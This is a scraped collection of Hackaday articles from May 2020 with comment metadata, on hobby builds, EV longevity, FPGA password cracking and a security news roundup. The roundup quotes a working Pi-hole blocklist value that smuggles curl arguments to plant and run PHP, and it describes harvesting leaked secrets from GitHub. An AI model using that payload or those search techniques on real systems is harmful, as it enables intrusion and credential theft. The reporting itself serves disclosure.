] | Augmented reality (AR) in the classroom has garnered a bit of interest over the years, but given the increased need for remote and virtual learning these days, it might be worth taking a closer look at what AR can offer. Purdue University’s C Design Lab thinks they’ve found a solution in their
Meta-AR platform
. The program
allows an instructor to monitor each student’s work in real-time
without being in the same classroom as the student. Not only that, but the platform allows students to collaborate in real-time with each other giving each other tips and feedback while also being able to interact with each other’s work, no matter where they may be physically located.
What we find really cool is the real-time feedback the software provides to the students. The
system can sense what the students are touching
and
can help students in their given task, providing real-time feedback on what they are doing
,
how things should fit together
, and what type of outcomes the students can expect given their trajectory. It also appears the system isn’t limited to
AR markers
but provides a very expansive toolbox for instructors and students to build on. C Design Lab is doing quite a bit of user feedback studies, continually incorporating input from students to further the platform. That’s definitely critical to ensuring the system is user-friendly.
We can easily see how something like this might scale to an industrial setting for training people how to use complex machinery, to a medical school to help prepare students to do surgery or to help
develop molecular diagnostics tools
.
Check out the other learning tools C Design Lab is developing
. | 3 | 2 | [
{
"comment_id": "6245804",
"author": "DainBramage",
"timestamp": "2020-05-15T22:05:52",
"content": "Augmented Reality?Aw, heck. I thought AR meant Amateur Radio.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6245861",
"author": "echodelta",
"timestamp... | 1,760,373,485.684621 | ||
https://hackaday.com/2020/05/17/building-d-o-the-cone-face-droid/ | Building D-O, The Cone Face Droid | Danie Conradie | [
"Robots Hacks"
] | [
"arduino",
"d-o droid",
"droid",
"matt denton",
"self balancing",
"star wars"
] | For many of us, movies are a great source of inspiration for projects, and the Star Wars films are a gift that just keeps giving. The D-O droid featured and the Rise of Skywalker is the equivalent of an abandoned puppy, and with the help of 3D printing, [Matt Denton] has
brought it to life
. (Video, embedded below.)
D-O is effectively a two-wheeled self-balancing robot, with two thin drive wheels on the outer edges of the main body. A wide flexible tire covers the space between the two wheels, where the electronics are housed, without actually forming part of the drive mechanism. The main drive motors are a pair of geared DC motors with encoders to allow closed-loop control down to very slow speeds. The brains of the operation is an Arduino MKR-W1010 GET on a stack that consists of a motor driver, shield, IMU shields, and prototyping shield. [Matt] did discover a design error on the motor driver board, which caused the main power switching MOSFET to burst into flames from excessive gate voltage. Fortunately he was able to work around this by simply removing the blown MOSFET and bridging the connection with a wire.
The head-on D-O is very expressive and [Matt] used four servos to control its motion, with another three to animate the three antennas on the back of its head. Getting all the mechanics to move smoothly without any slop took a few iterations to get right, and the end result looks and moves very well.
[Matt] worked on the film himself, so he based his build on a design by
[Michael Baddeley]
, another prolific droid builder, to avoid breaching his NDA. He covers the entire development and testing process in a series of videos, and will be releasing the
design files and instructions
when it’s done. | 10 | 5 | [
{
"comment_id": "6246184",
"author": "Star Wars Fan",
"timestamp": "2020-05-17T08:37:54",
"content": "Respect for the project, although, this droid is the most useless droid in the history of movies. Just my 2 cent…",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_i... | 1,760,373,485.955658 | ||
https://hackaday.com/2020/05/16/did-grandma-remember-her-pills-this-dispenser-tells-you/ | Did Grandma Remember Her Pills? This Dispenser Tells You! | Sven Gregori | [
"Medical Hacks"
] | [
"ESP8266",
"IoT",
"pill reminder",
"pills",
"telegram"
] | Everything has to be smart these days, and while smartening things up is a good incentive to tip your own toes into the whole IoT field, many of these undertakings are oftentimes just solutions looking for a problem. Best case, however, you actually make someone’s life easier with it, or help a person in need. For [Guli Morad] and [Dekel Binyamin], it was a bit of both when they built their
automated pill dispenser
: help people dependent on taking medication, and ease the mind of those worrying whether they actually remembered to.
Using an ESP8266 and a rather simple construct comprised of a set of servos with plastic sheets attached, and a plastic tube with strategically placed cuts for each pill type, a predefined amount of each of the pills can be automatically dispensed into a box — either at a given time, or on demand — using a Node-RED web interface. A reed switch mounted on the box then monitors if it was actually opened within a set time, and if not, informs emergency contacts about it through the Telegram app. Sure, a tenacious medication recipient might easily fool the system, but not even adding a precision scale to make sure the pills are actually taken out could counter a pill-reluctant patient of such kind, so it’s safe to assume that this is primarily about preventing simple forgetfulness.
Their proof of concept is currently limited to only two different types of pills, but with enough PWM outputs to control the servos, this should be easily scalable to any amount. And while the built may not be as sophisticated as
some pill dispensers
we’ve seen entering the Hackaday Prize a few years back, it still gets its main task done. Plus, when it comes to people’s health, a good-enough solution is always better than a perfect idea that remains unimplemented. | 4 | 3 | [
{
"comment_id": "6246195",
"author": "Kevin",
"timestamp": "2020-05-17T11:17:38",
"content": "Excellent!Maybe a safety in there to prevent manual dispensation before a certain time, to prevent overdosing?",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6246218"... | 1,760,373,486.040382 | ||
https://hackaday.com/2020/05/16/ultra-cheap-microcontroller-powers-addressable-7-segment-display/ | Ultra-Cheap Microcontroller Powers Addressable 7-segment Display | Jenny List | [
"Microcontrollers"
] | [
"7 segment",
"addressable display",
"Padauk"
] | Since their being revealed to our community over a year ago, the various ultra-cheap microcontrollers in the sub-ten-cent price range have attracted a lot of interest but not so many projects. Their slightly annoying programming and PIC12-derived architectures present a barrier not mitigated by their price, when picking up an Atmel or other processor represents a much easier choice. That’s not to say that they aren’t slowly making an appearance though, and a cracking example comes from [Tim],
who’s used a Padauk microcontroller to make an addressable 7-segment display
. If you’re used to addressable multi-colour LEDs, this extends the idea into the world of numerical information.
The result is a PCB little bigger than the 7-segment display it serves, with interlocking 0.1″ pin connectors allowing daisy-chaining of modules. The extreme low cost of the parts makes it an attractive solution. Software wise it’s driven in a similar manner to addressable LEDs, and he goes into significant detail on its protocol. The firmware can be found
in a GitHub repository
. He directs readers to the
Easy PDK programmer
and the
Small Device C compiler
, which should be of interest to anyone tempted by these processors. | 35 | 12 | [
{
"comment_id": "6246149",
"author": "The Gambler",
"timestamp": "2020-05-17T02:11:29",
"content": "Dave from eevblog currently is in the middle of a series on this. recommended watching materil",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6246151",
... | 1,760,373,486.111671 | ||
https://hackaday.com/2020/05/16/pcb-jewelry-never-looked-so-good/ | PCB Jewelry Never Looked So Good | Orlando Hoilett | [
"LED Hacks",
"Wearable Hacks"
] | [
"cosplay",
"fashion",
"jewelry",
"prop",
"smart jewelry",
"Wearables"
] | [Gautchh] wanted to make something nice for his girlfriend. Being the DIY enthusiast he is, he thought a hand-made gift would resonate with her better than something he could pick up from the store. Enter NeckLight, a
glow in the dark PCB necklace
. He was first inspired by
another project he ran across on Instructables
, then decided to put his own little spin on the design. It’s cool how that works. Interestingly enough, it was his first time using Fusion 360, but you probably wouldn’t know that if you took a look at the results.
Aside from soldering, the trickiest part of this project was trying to get the LED intensities just right. [Gautchh] found the best way to do this was experimentally by testing each LED color with a series of resistors. He wanted to ensure he could get the color intensity and the LED current just right. Finally, with a touch of acetone, he was done (
though he might want to try some alternatives to acetone next time
).
[Gautchh] also thinks that this project would be a really nice way for beginners to learn surface mount (SMD) soldering. We’ve seen a few cool SMD LED projects before. Who could forget those
competitive soldering challenges over at DEF CON
?
Anyway. Thanks, [Gautchh]. We hope your girlfriend, and your dog, enjoyed their gifts. | 8 | 2 | [
{
"comment_id": "6246125",
"author": "Hirudinea",
"timestamp": "2020-05-16T23:45:51",
"content": "The top picture is Tony Stark’s dog!",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6246140",
"author": "Eric J Weatherby",
"timestamp": "2020-0... | 1,760,373,486.155183 | ||
https://hackaday.com/2020/05/16/cnc-plasma-cutter-filter-gets-the-slag-out/ | CNC Plasma Cutter Filter Gets The Slag Out | Dan Maloney | [
"cnc hacks"
] | [
"cnc",
"cyclonic",
"downdraft",
"dross",
"extraction",
"filter",
"fume",
"plasma",
"plasma cutter",
"safety",
"slag",
"sparks"
] | No matter what kind of tools and materials you use in your shop, chances are pretty good that some process is going to release something that you don’t want to breathe. Table saw? Better deal with that wood dust. 3D-printer? We’ve discussed fume control ad nauseam. Soldering? It’s best not to inhale those flux fumes. But perhaps nowhere is fume extraction more important than in the metal shop, where vaporized bits of metal can wreak respiratory havoc.
Reducing such risks was [Shane Wighton]’s rationale behind
this no-clean plasma cutter filter
. Rather than a water table to collect cutting dross, his CNC plasma cutter is fitted with a downdraft table to suck it away. The vivid display of sparks shooting out of the downdraft fans belied its ineffectiveness, though. [Shane]’s idea is based on the cyclonic principle common to
woodshop dust collectors
and
stupidly expensive vacuum cleaners
alike. Plastic pipe sections, split in half lengthwise and covered in aluminum tape to make them less likely to catch on fire from the hot sparks, are set vertically in the air path. The pipes are arranged in a series of nested “S” shapes, offering a tortuous path to the spark-laden air as it exits the downdraft.
The video below shows that most of the entrained solids slow down and drop to the bottom of the filter; some still pass through, but testing with adhesive sheets shows the metal particles in the exhaust are much reduced. We like the design, especially the fact that there’s nothing to clog or greatly restrict the airflow.
Looking for more on CNC plasma cutter builds? We’ve got you covered, from
just the basics
to
next-level
.
[Keith O] gets the credit for this tip. Thanks! | 10 | 4 | [
{
"comment_id": "6246100",
"author": "Joel",
"timestamp": "2020-05-16T21:37:55",
"content": "Neat idea. I wonder if it would be better to use metal pipe instead of foil covering the plastic pipe, for the sake of longevity.",
"parent_id": null,
"depth": 1,
"replies": [
{
"c... | 1,760,373,486.200841 | ||
https://hackaday.com/2020/05/16/all-about-that-bass-marble-machine-x-keeps-growing/ | All About That Bass – Marble Machine X Keeps Growing | Sven Gregori | [
"Musical Hacks"
] | [
"bass guitar",
"marble machine",
"marbles",
"musical instrument",
"wintergatan"
] | We’re okay if you call out
Not A Hack
™ on this one, because “hack” really doesn’t do justice to the creations of [Martin] from [Wintergatan]. You’re probably familiar with the Marble Machine that went viral a few years ago, and while it was impressive as-is back then, and most people would have declared the project finished at that point, it has turned into a seemingly never-ending work-in-progress project that has certainly come a long way ever since. Its latest addition:
the
Cyber Capos
as upgrade for the bass
, and you can find out all about it in its build video — also embedded below.
If you play a string instrument and ever used a capo — the clamping little helper device to smack the pitch up — you may have found yourself wishing that you could use it on any arbitrary fret on each string. Sure, there are partial capos and the spider capo to select individual strings, but you’re still limited to transpose along a single fret. Well, [Martin]’s Cyber Capos, a mechanical construct of four arms sliding along the neck, serve exactly that purpose, which allows him to free up his hands for other things while the marbles keep bouncing.
But you don’t have to be a bass player, or any musician really, to appreciate [Martin]’s build videos. We praised his general attitude and hacker-like spirit already
the first time we mentioned the Marble Machine
, and just watching him getting excited about his work and the appreciation for people supporting and assisting in the project, while embracing his mistakes, is a genuine delight.
Needless to say that [Martin] likes
some uniqueness in music instruments
, and the bass with its separate volume control and output for each string qualifies on its own for that. If you’re curious about more on that, there’s another video about it embedded after the break. And for the really impatient ones, you can see the capos in action in the first video around the 12:35 mark. | 23 | 7 | [
{
"comment_id": "6246029",
"author": "Frank",
"timestamp": "2020-05-16T17:08:42",
"content": "How is this a hack?",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6246058",
"author": "pac",
"timestamp": "2020-05-16T18:25:48",
"content":... | 1,760,373,486.256044 | ||
https://hackaday.com/2020/05/16/is-it-a-toy-a-prototype-its-a-hack/ | Is It A Toy? A Prototype? It’s A Hack! | Elliot Williams | [
"cnc hacks",
"Hackaday Columns"
] | [
"cnc",
"experiment",
"homofaciens",
"newsletter",
"prototype"
] | Some of the coolest hacks do a lot with a little. I was just re-watching a video from [Homo Faciens], who after building a surprisingly
capable CNC machine out of junk-bin parts
and a ton of ingenuity, was accidentally challenged by Hackaday’s own [Dan Maloney] to take it a step further. [Dan] was only joking when he asked “Can anyone build a CNC machine out of cardboard and paperclips?”, but then [Homo Faciens] replied:
cardboard and paperclip CNC plotter
. Bam!
My favorite part of the cardboard project is not just the clever “encoder wheel” made of a bolt dipped in epoxy, with enough scraped off that it contacts a paperclip once per rotation. Nor was it the fairly sophisticated adjustable slides and ways that he built to mimic the functionality of the real deal. Nope.
My favorite part of this project is [Norbert] explaining that the machine has backlash here, and it’s got play there, due to frame flex. It is a positive feature of the machine. The same flaws that a full-metal machine would have are all present here, but due to the cheesy construction materials, you can see them with the naked eye instead of requiring a dial indicator. Because it wiggles visible tenths of an inch where a professional mill would wiggle invisible thousandths, that helps you build up intuition for the system.
This device isn’t a “prototype” because there’s no way [Norbert] intends it for serious use. But it surely isn’t just a “toy” either. “Instructional model” makes it sound like a teaching aid, created by a know-it-all master, intended to be consumed by students. If anything, there’s a real sense of exploration, improvisation, and straight-up hacking in this project. I’m sure [Norbert] learned as much from the challenge as we did from watching him tackle it. And it also captures the essence of hacking: doing something
unexpected
with tech.
Surprise us
!
This article is part of the Hackaday.com newsletter, delivered every seven days for each of the last 200+ weeks. It also includes our favorite articles from the last seven days that you can see on
the web version of the newsletter
.
Want this type of article to hit your inbox every Friday morning?
You should sign up
! | 2 | 1 | [
{
"comment_id": "6246018",
"author": "Drew",
"timestamp": "2020-05-16T15:46:24",
"content": "“where a professional mill would wiggle invisible thousandths”A worn out manual Bridgeport mill can wiggle over 1/8″ at the ends of the table with worn out table gibs, and still be worked around (albeit poor... | 1,760,373,486.290262 | ||
https://hackaday.com/2020/05/15/electric-vehicles-continue-the-same-wasteful-mistakes-that-limit-longevity/ | Electric Vehicles Continue The Same Wasteful Mistakes That Limit Longevity | Jenny List | [
"car hacks",
"Featured",
"green hacks",
"Interest",
"Rants",
"Slider",
"Transportation Hacks"
] | [
"complexity",
"electric cars",
"electric drive",
"electronic vehicle",
"ev",
"manufacturing"
] | A while back, I sat in the newish electric car that was the pride and joy of a friend of mine, and had what was at the time an odd experience. Instead of getting in, turning the key, and driving off, the car instead had to boot up.
The feeling was of a piece of software rather than a piece of hardware, and there was a tangible wait before the start button could be pressed. It was a miracle of technology that could travel smoothly and quietly for all but the longest journeys I could possibly throw at it on relative pennies-worth of electricity, but I hated it. As a technologist and car enthusiast, I should be all over these types of motor vehicles. I live for new technology and I lust after its latest incarnations in many fields including automobiles.
I want my next car to have an electric motor, I want it to push the boundaries of what is capable with a battery and I want it to be an automotive
tour de force
. The switch to electric cars represents an opportunity like no other to deliver a new type of car that doesn’t carry the baggage of what has gone before, but in that car I saw a future in which they were going badly astray.
I don’t want my next vehicle to be a car like my friend’s one, and to understand why that is the case it’s worth going back a few decades to the cars my parents drove back when when jumpers were goalposts, and the home computer was just a gleam in the eye of a few long-haired outsiders in California.
When Rust Buckets Ruled the Open Road
The FIAT 127 is better known nowadays for rusting than for modernity, but under the skin it’s the precursor of your front-wheel-drive car today. Thomas doerfer /
CC BY-SA 3.0
By the 1970s, the basic design and layout of a car had begun to reach its zenith. Lift the hood on a VW Golf Mk1 from 1974 or a FIAT 127 from 1971 and you’ll find the same transverse engine with a front-wheel-drive transmission stuck on the end (Pay attention, in-sump-gearbox Mini enthusiasts!) of it that most of you will see in the car on your driveway today. In the rest of their construction you’ll see earlier iterations of the safety and comfort innovations you’re used to.
Throughout the world, the vast majority of cars on the road today use this configuration, with rear-wheel-drive, longitudinal engines, and rear engines having become something of an oddity. While the designers had nailed the basic format though, the materials hadn’t quite caught up with the demands of the product. The better 1970s cars were on the whole pretty reliable and easy to fix when they went wrong, but as any older car enthusiast will tell you today, the quality of their metallurgy and paintwork left something to be desired.
They rusted, and they did so with frightening rapidity. Scrapyards were full of rusted-out models less than ten years old that were otherwise fine mechanically, and running a car over that age meant becoming familiar with the art of using the welder and plenty of fibreglass body filler. These were the vehicles my generation had as our first proper transport, and some of them were good cars, but at the same time truly awful good cars.
An Audi 80 heads for a watery but ultimately rust-free grave.
Making cars that didn’t last a decade was good business for the automakers who hoped to sell more cars, but ultimately damaging for their reputations and their bottom lines. Thus one of the biggest selling points for a car in the 1980s was its rust resistance, as can be seen in Audi’s commercial for their new Audi 80 near the end of that decade in which
they dropped the car in the sea to highlight its galvanised body
. By the 1990s most cars simply didn’t rust, or at least if they did it was relatively minor and cosmetic compared to the serial disingtegration of their 1970s stablemates.
Outside my window I see a descendant of those Golf Mk1s made in 1998 that has just received its first piece of structural welding, a patch on a perforation the size of a nickel. That would have been
unheard of
in a 22-year-old car that had spent its life driving through British winters when it was made, yet now it is quite normal. Cars still end up in scrapyards, but by and large they no longer do so due to bodywork rust.
From Rust Rot to Bit Rot
Most of these cars probably had surprisingly little wrong with them when scrapped. Carolyn Williams /
CC BY 2.0
So why do cars get scrapped in 2020, if modern rust proofing has made their bodies near-immortal and a combination of good metallurgy and synthetic oil has left their engines bulletproof? Aside from legislatory changes such as for example those surrounding diesel emissions, a modern car is significantly more complex than its equivalent of a few decades ago. It has a whole variety of subsystems devoted to achieving lower emissions, better safety, and increased fuel economy, and its interior is festooned with gadgets unknown in times past.
Headlights no longer turn on with a switch and a wire, instead the car’s computer sends a CAN bus instruction to a microcontroller behind its bulb which turns it on. All this extra complexity has made modern cars significantly more reliable than their predecessors, but at a price. When those headlights fail the replacement part is no longer a $5 switch but a $1000 electronic module behind the dashboard, probably more than the car is worth so it heads for the crusher. I’ve more than once been offered just such rather nice cars for pennies; sensing money pits I have so far wisely declined. There is no motivation yet for the manufacturers to improve this situation because the shortcomings of their cars are not as obvious to the owners as the bubbling rust was in the 1970s, but they’ve achieved the same feat of making cars that only last ten years or so.
Complexity is the Enemy of Longevity
You wouldn’t believe how much this box of electronics from a 2001 VW cost me to replace back in 2009? I did it because I liked the car, but many people wouldn’t.
Electric cars offer a once-in-a-lifetime opportunity to do something about all this. Instead of an engine with hundreds of moving parts and a brace of computers to keep it running within its emission and fuel economy parameters, you have an electric motor with one moving part. There are still electronics, but a motor controller is now a simple enough unit to have become genericised.
As a demonstration of that versatility
New Electric Ireland
for example put a Lexus electric drivetrain with a Nissan Leaf motor controller in a BMW estate car. It would be difficult to imagine a corresponding situation in which the brains of a Nissan internal combustion engine drove the lump from a Lexus. An electric car can at its very minimum have electronics only in its motor controller, battery charger, and safety systems such as anti-lock brakes, making it at a stroke infinitely simpler than the internal combustion vehicle it replaces.
Unfortunately though, the manufacturers seem intent on taking electric cars in the opposite direction, bringing me back to the car I sat in at the start of this article. Right now electric cars are technology showcases in which complexity and unnecessary features are viewed as desirable, and the very environmental benefit of having the electric car is negated by their inevitable demise after a few years when the feature overload starts to bite the dust. Instead we need to see longevity become a selling point, and unnecessary complexity merely for the purpose of limiting vehicle life come to be regarded as environmentally detrimental as rolling coal from a big diesel V8. There should be no greenwash afforded to a manufacturer whose so-called environmentally sound offering doesn’t have a likely service life almost into its third decade even if that requires a replacement battery, because if we are serious about CO2 emissions our aim should be to make fewer, better cars rather than simply make more cars. Anything else is mere hypocrisy.
Header image: A 1914 experimental electric car. Unknown author /
Public domain | 372 | 50 | [
{
"comment_id": "6245665",
"author": "Ren",
"timestamp": "2020-05-15T17:15:22",
"content": "“The feeling was of a piece of software rather than a piece of hardware, ”Similar to the boot delay of a Digital camera as opposed to point and shoot film cameras.(How many memorable photos of my daughter wer... | 1,760,373,487.142922 | ||
https://hackaday.com/2020/05/15/hackaday-podcast-067-winking-out-of-iot-seas-of-leds-stuffing-pcbs-and-vectrex-is-awesome/ | Hackaday Podcast 067: Winking Out Of IoT, Seas Of LEDs, Stuffing PCBs, And Vectrex Is Awesome | Mike Szczys | [
"Hackaday Columns",
"Podcasts"
] | [
"DEF CON",
"Hackaday Podcast",
"IoT",
"keyboard",
"LED panels",
"pick and place",
"Teensy 4.1",
"vectrex",
"Wink",
"zork"
] | Hackaday editors Mike Szczys and Elliot Williams explore the coolest hacks of the past 168 hours. The big news this week: will Wink customers pony up $5 a month to turn their lights on and off? There’s a new open source design for a pick and place machine. You may not have a Vectrex gaming console, but there’s a scratch-built board that can turn you oscilloscope into one. And you just can’t miss this LED sign technology that programs every pixel using projection mapping.
Take a look at the links below if you want to follow along, and as always, tell us what you think about this episode in the comments!
Direct download
(60 MB or so.)
Where to Follow Hackaday Podcast
Places to follow Hackaday podcasts:
iTunes
Spotify
Stitcher
RSS
YouTube
Check
out our Libsyn landing page
Episode 067 Show Notes:
New This Week:
DEF CON 28 in-person conference is CANCELLED
What we’ve been building:
Bench Supply Bluetooth Speaker
Okay to Wake Clock Plus ESP8266
New Teensy 4.1 Arrives With 100 Mbps Ethernet, High-Speed USB, 8 MB Flash
Original Zork MDL Source Code Has Been Released
Interesting Hacks of the Week:
Reverse Engineering Saves Trashed LED Panels
Fail Of The Week: Bright Idea For LED Signs Goes Bad
Touch-Typing On Fingertips? Prototype Says It Could Work
What Input Device? Just Use Your Arm
Robotic Open Source Puppy Needs A Home
Robotic Cheetah Teaches A Motors Class
Open Source Pick And Place Has A $450 BOM Cost
A Ploopy Pick And Place
Scopetrex Is A Game Console… For Your Oscilloscope!
Vectrex, Finally In Color
Spike’s Big Page Passport
Trashed Vector Game Console Revived With Vintage IBM Monitor
V.st – Trammell Hudson’s Projects
Sprite_TM: Extreme Vectrex Multicart Plays Bad Apple
Quick Hacks:
Mike’s Picks:
A Microcontroller Display With A Classic Twist
Alexa, Shoot Me Some Chocolate
Three-Dollar Router Rebooter Has One Job
Elliot’s Picks:
These LED Shades Will Blind You With Science
No More Floppy Drives For This Agilent Scope
Floppy Drive Keyboard Is Inefficient Fun
Can’t-Miss Articles:
Teardown: Generation NEX
Ask Hackaday: Wink Hubs, Extortion As A Service? | 0 | 0 | [] | 1,760,373,486.506959 | ||
https://hackaday.com/2020/05/15/all-your-passwords-are-belong-to-fpga/ | All Your Passwords Are Belong To FPGA | Tom Nardi | [
"FPGA",
"Security Hacks"
] | [
"bcrypt",
"cryptocurrency",
"fpga",
"gpu mining",
"hash",
"Password cracking"
] | When used for cracking passwords, a modern high-end graphics card will absolutely chew through “classic” hashing algorithms like SHA-1 and SHA-2. When a single desktop machine can run through 50+
billion
password combinations per second, even decent passwords can be guessed in a worryingly short amount of time. Luckily, advanced password hashing functions such as bcrypt are designed specifically to make these sort of brute-force attacks impractically slow.
Cracking bcrypt on desktop hardware might be out of the question, but
the folks over at [Scattered Secrets] had a hunch that an array of FPGAs might be up to the task
. While the clock speed on these programmable chips might seem low compared to a modern CPUs and GPUs, they don’t have all that burdensome overhead to contend with. This makes the dedicated circuitry in the FPGA many times more efficient at performing the same task. Using a decade-old FPGA board intended for mining cryptocurrency, the team was able to demonstrate a four-fold performance improvement over the latest generation of GPUs.
An earlier version of the FPGA cracker
After seeing what a single quad FPGA board was capable of, the [Scattered Secrets] team started scaling the concept up. The first version of the hardware crammed a dozen of the ZTEX FPGA boards and a master control computer computer into a standard 4U server case. For the second version, they bumped that up to 18 boards for a total of 72 FPGAs, and made incremental improvements to the power and connectivity systems.
Each 4U FPGA cracker is capable of 2.1 million bcrypt hashes per second, while consuming just 585 watts. To put that into perspective, [Scattered Secrets] says you’d need at least 75 Nvidia RTX-2080Ti graphics cards to match that performance. Such an array would not only take up a whole server rack, but would burn through a staggering 25 kilowatts. Now might be a good time to change your password to something longer,
or finally get onboard with 2FA
.
We’ve covered attempts to reverse engineer hardware designed for cryptocurrency mining,
but those were based around application-specific integrated circuits (ASICs)
which by definition are very difficult to repurpose. On the other hand, disused FPGA-based miners offer tantalizing possibilities;
once you wrap your mind around how they work, anyway
.
[Thanks to Piejoe for the tip.] | 26 | 10 | [
{
"comment_id": "6245660",
"author": "Alexander Wikström",
"timestamp": "2020-05-15T16:25:20",
"content": "Two Factor Authentication is nice and all.But it has downsides when every website wants its own app…Would be nice to bake it into Email in a standardized way.So that one can just give one’s ema... | 1,760,373,486.691863 | ||
https://hackaday.com/2020/05/15/this-week-in-security-thunderspy-facebook-breaking-everything-and-more/ | This Week In Security: Thunderspy, Facebook Breaking Everything, And More | Jonathan Bennett | [
"Hackaday Columns",
"News",
"Security Hacks",
"Slider"
] | [
"Pi-hole",
"This Week in Security",
"Thunderspy"
] | Thunderspy
was announced this week, developed by [Björn Ruytenberg]. A series of attacks on the Thunderbolt 3 protocol, Thunderspy is the next vulnerability in the style of Inception, PCILeech, and Thunderclap.
Inception
and
PCILeech
were attacks on the naive Direct Memory Access (DMA) built into Firewire, Thunderbolt 1, and PCIe. A device could connect and request DMA over the link. Once granted, it could access the bottom four gigabytes of system memory, with both read and write access. It’s not hard to imagine how that would be a huge security problem, and it seems that this technique was in use by intelligence agencies at the time it was discovered. As an aside, the hardware DMA was entirely independent of software, so it was possible to debug a crashed kernel over firewire.
Once the vulnerability was made public, hardware and software vendors have taken steps to harden their systems against the attack. Thunderbolt 2 introduced security levels as a mitigation against the attacks. A user has to mark a device as trusted before DMA is offered to that device.
Thunderclap
exploited a series of vulnerabilities in how individual OSes interacted with those hardware mitigations.
Image by Björn Ruytenberg. Licensed under CC BY 4.0.
Now, Thunderspy abuses a series of problems in Intel’s Thunderbolt 3 specification and implementation. One interesting attack is cloning an already trusted Thunderbolt device. Plugging a Thunderbolt device into a Linux machine easily captures the device UUID. A malicious Thunderbolt device can be given that same UUID, and suddenly has the same level of trust as the cloned device.
[Björn] took the attack a step further, and discovered that he could disassemble a laptop or thunderbolt device, and read the firmware directly off the thunderbolt controller. That firmware can be modified and re-uploaded. One of the simplest attacks that enables is turning the security level to its lowest setting.
It’s interesting research, and there are fixes coming or already in place to mitigate the problems found. The real question is how much Thunderspy matters. The threat model is the evil maid: A laptop left in a motel room would be available to the cleaning staff for a few minutes. Thunderspy could potentially be used for this style of attack, but there are many other potentially better attack options. There is a narrow circumstance where Thunderspy is the perfect technique: A device with an encrypted drive, that’s been powered on and logged into, but locked. In this case, Thunderspy could be used to recover the drive encryption key stored in memory, and then used to plant malware.
That Time When Facebook Broke Everything
You may have noticed some widespread iOS application misbehavior on the 6th. Facebook introduced a change to the server component to their sign-on SDK, which caused many apps that made use of that SDK to crash. It’s worth asking if it’s a good idea for so many popular apps to use Facebook code. There doesn’t appear to have been a vulnerability or path to compromise other than the denial of service.
Large-scale WordPress attack
Nearly
a million WordPress sites are under attack
, in a campaign targeting a variety of vulnerabilities. The general attack strategy is to inject a malicious javscript that lays dormant until it’s executed by a site administrator. Ironically, logging in to your site to check it for compromise could be the trigger that leads to compromise. As always, keep your plugins up to date and follow the rest of the best practices.
Godaddy Breaches
Godaddy users were recently informed that
there was a breach that exposed portions of their accounts to compromise
. Notably, the compromise happened back in October of 2019, and wasn’t discovered for 6 months. Godaddy has stated that there wasn’t any evidence of any malicious action beyond the initial compromise, which is puzzling in itself.
On April 23, 2020, we identified SSH usernames and passwords had been compromised through an altered SSH file in our hosting environment. This affected approximately 28,000 customers. We immediately reset these usernames and passwords, removed the offending SSH file from our platform, and have no indication the threat actor used our customers’ credentials or modified any customer hosting accounts. To be clear, the threat actor did not have access to customers’ main GoDaddy accounts.
Pi-hole Exploit
A fun
RCE exploit was discovered
in the Pi-hole software. This particular problem requires authenticated access to the Pi-hole administrative web interface, so it’s not likely to cause too many problems on its own. Exploiting the flaw is simple, just set
http://192.168.122.1#
" -o fun.php -d "
as the remote blocklist, with an IP that you control. Under the hood, the remote blocklist is fetched via curl, and the URL isn’t properly sanitized. Your PHP code is saved in the web directory, and an HTTP request triggers that code.
Leaking on Github
[Tillson Galloway] tells the story of
how he made $10,000 in bug bounties
, simply by searching Github for passwords and keys that shouldn’t be there. By searching for specific keywords, he found all sorts of interesting, unintentional things.
vim_settings.xml
contains recently copied and pasted strings, and
.bash_history
contains a record of commands that have been run. How many times have you accidentally typed a password in on the command line, thinking you were authenticating with SSH or sudo, just for an example? It’s an easy mistake to make, to accidentally include one of these hidden files in a public repository.
There have been examples of API keys accidentally included in source code drops, and even SSL certificates leaked this way over the years. It’s a lesson to all of us, make sure to sanitize projects before pushing code to Github. | 4 | 3 | [
{
"comment_id": "6245641",
"author": "zoobab",
"timestamp": "2020-05-15T14:29:12",
"content": "The Facebook SDK is helping Facebook to make shadow profiles of people who are not on Facebook:https://www.youtube.com/watch?v=y0vlD7r-kTc",
"parent_id": null,
"depth": 1,
"replies": [
{
... | 1,760,373,486.549877 | ||
https://hackaday.com/2020/05/15/docking-with-iss-isnt-as-easy-as-you-might-think/ | Docking With ISS Isn’t As Easy As You Might Think | Al Williams | [
"Space"
] | [
"docking",
"dragon",
"international space station",
"iss",
"space station",
"SpaceX"
] | Complexity is a funny thing. In prehistoric times, a caveman might float across a lake on a log. That’s simple. But as you add a rudder, a sail, or even a motor, it gets more and more complex. But if you add enough complexity — a GPS and an autopilot, for example, it becomes simple again. The SpaceX Dragon capsule actually docks itself to the ISS. However, the crew on the station can take over manually if they need to. What would that be like? Try the
simulation
and find out. If you don’t make it on the first, try, [Scott Manley’s] video below might help you out.
This isn’t a flashy Star Wars-style simulator. Think more 2001. Movement is slow and it is easy to get out of control. The user interface is decidedly modern compared to the old Apollo era
Even if you do manage to dock, in real life you can’t just pop the hatch and enter the station. It takes a while for temperatures to warm up so you don’t get massive condensation when the warm moist air hits the cold docking tunnel.
[Jim Bridenstien] — the NASA guy —
nailed it on the first try
, we hear. But since he is a pilot, we figure he’s probably got more practice than we do.
We’ve seen some
Kerbal
simulators, of course. Maybe you have a
spare RV
sitting around? | 48 | 17 | [
{
"comment_id": "6245591",
"author": "JC_Dento",
"timestamp": "2020-05-15T11:33:06",
"content": "First try too where do i apply ?",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6245594",
"author": "Szaquert",
"timestamp": "2020-05-15T11:40:53... | 1,760,373,489.223596 | ||
https://hackaday.com/2020/05/15/cyberduck-quacks-like-a-cyberdeck/ | CyberDÛCK Quacks Like A Cyberdeck | Kristina Panos | [
"Microcontrollers"
] | [
"CircuitPython",
"ItsyBitsy",
"python",
"REPL",
"rubber duck",
"usb otg"
] | Over the last year or so, we’ve seen an explosion in the popularity of cyberdecks — those highly portable and occasionally wearable computers that would make William Gibson proud. A lot of the cyberdecks we see are based on NUCs or the Raspberry Pi and are essentially post-apocalyptic DIY laptops. But what if you want to play with microcontrollers on the go? Do you really need traditional computing power?
If you build [kmatch98]’s adorable cyberDÛCK, the answer is no.
This duck can edit and run CircuitPython files anywhere without a separate computer
